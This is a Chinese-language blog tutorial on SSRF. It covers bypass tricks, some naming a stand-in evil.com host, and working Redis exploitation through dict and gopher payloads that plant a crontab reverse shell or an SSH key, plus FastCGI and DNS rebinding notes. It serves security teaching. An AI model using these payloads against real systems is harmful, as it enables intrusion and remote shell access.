SSRF小结

即恶意使用Web应用作为代理攻击其他本地或远程服务器的攻击方法,称其为服务端请求伪造攻击(Server-side Request Forgery),常用来探测内网,攻击内网应用

后端实现与出现场景

PHP常见有三种

  • file_get_contents

file_get_contents也可以直接获取用户指定URL的内容

1
2
3
4
<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>
  • fsockopen

fsockopen — 打开一个网络连接或者一个Unix套接字连接,跟服务器建立tcp连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.example.com\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
  • curl_exec

执行 cURL 会话,注意cURL的版本,低版本往往有很多bypass方法,后文有提到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 创建新的 cURL 资源
$ch = curl_init();

// 设置 URL 和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取 URL 并把它传递给浏览器
curl_exec($ch);

// 关闭 cURL 资源,并且释放系统资源
curl_close($ch);
?>

Python的urllib库

1
2
3
4
5
#coding: utf-8
import urllib
url = 'http://127.0.0.1'
info = urllib.urlopen(url)
print(info)

前几年,存在urllib http头注入漏洞,借此可以实现对内网未授权仿问的redis服务器getshell

原理是HTTP协议解析host的时候可以接受百分号编码的值,解码,然后包含在HTTP数据流里面,但是没有进一步的验证或者编码,这就可以注入一个换行符。

就像:http://127.0.0.1%0d%0aset%20some%20bad%0d%0a:6399/执行redis命令

出现场景

  1. 社交分享功能:获取超链接的标题等内容进行显示

  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

  3. 在线翻译:给网址翻译对应网页的内容

  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数

  9. 邮件系统:比如接收邮件服务器地址

  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

  12. 一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

  13. 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

绕过姿势

0x01 IP进制转换

内网IP段
127.0.0.0/8 127.0.0.0 ~ 127.255.255.255
192.168.0.0 /16 192.168.0.0 ~ 192.168.255.255
10.0.0.0/8 10.0.0.0 ~ 10.255.255.255
172.16.0.0/12 172.16.0.0 ~ 172.31.255.255

之前WordPress <4.5 的SSRF就是利用ip转为八进制来访问内网

如192.168.0.1 可转换为

8 进制格式:0300.0250.0.1

16 进制格式:0xC0.0xA8.0.1

10 进制整数格式:3232235521

16 进制整数格式:0xC0A80001

还有一种特殊的省略模式,例如10.0.0.1这个 IP 可以写成10.1

转10进制整数IP略麻烦,可用脚本

1
2
3
4
5
6
7
ip = 192.168.0.1
int_ip = ''
i = ip.split('.')
for ii in i:
t = str(bin(int(ii)))[2:].rjust(8,'0')
int_ip += t
print str(int(int_ip,2))

0x02 URL解析绕过

URL语法:

<scheme>://<username>:<passwd>@<host>:<port>/<path>;<params>?<query>#<frag>

  1. 指向任意 ip 的域名xip.io, http://127.0.0.1.xip.io/

  2. http://www.baidu.com@127.0.0.1/或http://www.baidu.com#127.0.0.1/

  3. 短网址 http://dwz.cn/11SMa

  4. 句号绕过 127。0。0。1

  5. Enclosed alphanumerics绕过

1
2
3
4
5
6
7
8
9
10
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

0x03 parse_url与libcurl对curl的解析差异

geek game之前一道题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php 
//error_reporting(E_ALL);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
dir('url fomat error');
return false;
}
$hostname=$url_parse['host'];

//var_dump($hostname);

$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
//var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}

$url = $_POST['url'];
if(!empty($url)){
safe_request_url($url);
}
else{
highlight_file(__file__);
}

//hint23333:
//flag in flag.php
//phpinfo in phpinfo.php

?>

直接访问flag.php返回Your ip is not 127.0.0.1,so you can not see flag!

即需要其自身访问http://127.0.0.1/flag.php

从代码来看,其通过parse_url获取$url的hostname,判断是否是本地地址,只有非本地地址才会用curl访问

利用parse_url与libcurl对curl的解析差异的trick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况

php parse_url:
host: 匹配最后一个@后面符合格式的host

libcurl:
host:匹配第一个@后面符合格式的host

如:

http://u:p@a.com:80@b.com/

php解析结果:
schema: http
host: b.com
user: u
pass: p@a.com:80
libcurl解析结果:
schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉

这里当$urlhttp://u:p@127.0.0.1:80@baidu.com/flag.php

parse_url的解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
php > $a = parse_url('http://u:p@127.0.0.1:80@baidu.com/flag.php'); var_dump($a);
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "baidu.com"
["user"]=>
string(1) "u"
["pass"]=>
string(14) "p@127.0.0.1:80"
["path"]=>
string(9) "/flag.php"
}

访问flag.php

11.png

0x04 filter_var( )绕过

filter_var — 使用特定的过滤器过滤一个变量

用法:

filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed

FILTER_VALIDATE_EMAIL 检查是否为有效邮箱

FILTER_VALIDATE_URL 检查是否为有效url

引用国外一篇文章中的示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "Argument: ".$argv[1]."n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/google.com$/', $r['host'])) {
// get page from URL
exec('curl -v -s "'.$r['host'].'"', $a);
print_r($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>

filter_var对url进行check,parse_url获取url的host,对host进行正则匹配,判断是否以google.com结尾,是则curl访问

这个关键还是看curl能否访问

之前文章中可能是在PHP7.0.25 cURL 7.47.0的近似环境下,所以有以下bypass方法

  • 通过制定端口让google.com不被解析成主机名

    • 0://evil.com:80;google.com:80/

    • 0://evil.com:80,google.com:80/

  • 利用bash空变量,请求evil.com

    • 0://evil$google.com

在 PHP Version 7.1.19,cURL 7.54.0 环境下,大部分bybass就不管用了

但可以使用url=0://107.172.6.33:7788;baidu.com:80/达到请求任意ip,任意端口的目的,前提是代码中exec curl那行没有双引号

猜测7.45.0的curl应该是对port进行了检测

不过测试发现php 7.2.2,cURL 7.52.1环境下同样有问题

https://i.loli.net/2019/01/17/5c409f1eb6c57.png

https://i.loli.net/2019/01/17/5c409fb3e0ff0.png

利用姿势

0x01 302跳转

要求服务端一般为cURL方法,CURLOPT_FOLLOWLOCATION为TRUE, 若服务器端对host进行了过滤,如过滤本地host,此时可用302跳转

1
2
3
4
5
6
7
8
9
10
11
<?php                                                                                                                                                
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
常见协议利用
Http/s 协议 http://example.com:8080/
Dict 协议 dict://example.com:8080/helo:dict
Gopher 协议 gopher://example.com:8080/gopher
File 协议 file:///etc/passwd

302跳转可以使用http/https, dict, gopher协议,不支持file,详细见: https://curl.haxx.se/libcurl/c/CURLOPT_FOLLOWLOCATION.html

  • dict协议探测主机

https://i.loli.net/2019/01/16/5c3f235c390ab.png

dict://127.0.0.1:6379/info查看redis配置信息

发出以下dict请求可以用redis反弹shell

1
2
3
4
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/set:1:nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nn
dict://127.0.0.1:6379/save
  • Gopher 协议拓展攻击面

0x02 Gopher

利用Gopher协议进行redis反弹shell

redis反弹shell的bash脚本,以bash this.sh 127.0.0.1 6379运行

1
2
3
4
5
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

原理是写入反弹shell的crontab计划任务

使用gopher协议实现redis反弹shell,一般用socat端口转发以捕获redis攻击的数据包

socat -v tcp-listen:8888,fork tcp-connect:localhost:6379

用JoyChou大佬的脚本把数据转为gopher格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp

本地测试写入

1
curl -v 'http://127.0.0.1/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

https://i.loli.net/2019/01/17/5c40766b56d84.png

这里有个问题,有时写入中可能有截断,或是crontab现在对格式要求严格,比如任务要指明用户之类的,写入的crontab任务不能被成功执行

发现另一种getshell方法就是写authorized_keys到/root/.ssh,另外也可改写Apache等web软件的配置文件以getshell

1
2
3
4
config set dir /root/.ssh
config set dbfilename authorized_keys
set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsJ4pbjXL5KnnX/FP6sZORaT3N8/A6SEYv23VfrIVoPdOCBVD98O+RExVWCe8Iknwzx3w1Hm2uWnB6i6AtCnIji3yz16HIPryzoLE65xN4Z2vGXZk2YmOuRtqFPKPk/QCdf1Vxh6lwLZRo2msYEK/+mziOrmYy1UzwqLxfl1uNYVYTs2jHGBEikPwA7FAt5ZVRRBhzDnn8dyT201FOwR/fpukiXbaevZU2/iyW+Qu9ssaZMJMpRzautNuZLxCmV9TfuP0NbsgCBHj1nOMf3BUQNXUtE4aCRP0gHbs18Wvpx5ryWyl/NWWQADOY2dMHMWuTtCxLSrfY/q+H8l+JGdQpw==\n\n"
save

注:

  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),7.45 以上无此bug

FastCGI攻击

条件

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

防止%00截断,cURL大于7.45.0

这里有一个gopher链接生成工具

https://i.loli.net/2019/01/19/5c41ffb1cf0e7.png

DNS重绑攻击

网上原理多为文字,可能不太易懂,画图形象

https://i.loli.net/2019/01/15/5c3df58ad59ce.png

关键是利用服务端第一次去请求DNS服务和第二次进行域名解析即访问URL之间的的时间差,利用这个时间差进行DNS重绑定攻击

还有就是DNS服务器需要设置TTL=0,TTL为DNS服务器里域名和IP绑定关系的cache存活的时间

实现方法:

  1. 设置TTL,0ctF2016的monkey题目就是利用DNS重绑攻击绕过,国外域名一般可以设置TTL=0

  2. 还有种方法就是设置两条A记录给域名一个解析的ip为外网,另一个解析的ip为内网,那么这就成了概率问题,一次访问有1/4的概率访问内网

  3. 直接自建DNS服务器,比如dnspython等模块


Reference:

https://www.jianshu.com/p/b31b7b1ca3cb

https://ctf-wiki.github.io/ctf-wiki/web/ssrf/#_5

https://www.from0to1.me/2018/03/07/31.html

https://joychou.org/web/phpssrf.html

https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

https://toutiao.io/posts/qf9jsx/preview

http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/

http://www.likesec.com/2017/12/28/SSRF%E5%8F%8A%E5%85%B6%E7%BB%95%E8%BF%87/#%E7%AB%AF%E5%8F%A3%E6%89%AB%E6%8F%8F

http://www.zhhr168.com/2016/12/03/redis-getshell/index.htm

https://xz.aliyun.com/t/2115

文章作者: J0k3r
文章链接: http://yoursite.com/2019/01/30/SSRF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r
支付宝打赏
微信打赏